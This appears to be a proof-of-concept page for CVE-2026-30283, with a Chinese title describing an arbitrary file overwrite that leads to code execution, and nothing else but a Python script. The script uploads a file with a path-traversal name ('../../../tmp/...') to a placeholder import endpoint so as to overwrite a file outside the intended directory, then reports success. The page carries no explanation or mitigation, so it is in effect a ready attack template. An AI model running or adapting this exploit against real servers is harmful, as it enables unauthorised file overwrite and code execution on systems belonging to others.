CVE-2026-30283: 任意文件覆盖漏洞致代码执行

import requests # Target URL for the file import endpoint # Replace with actual target address target_url = "http://target-ip:port/api/import" # Malicious payload designed to overwrite a critical file # Using path traversal (e.g., "../") to escape the intended directory malicious_filename = "../../../tmp/critical_config_file.bin" payload_content = b"MALICIOUS_PAYLOAD_CONTENT" # Construct the multipart form data files = { 'file': (malicious_filename, payload_content) } try: # Send the POST request to trigger the vulnerability response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] PoC executed successfully. Check if the file was overwritten.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")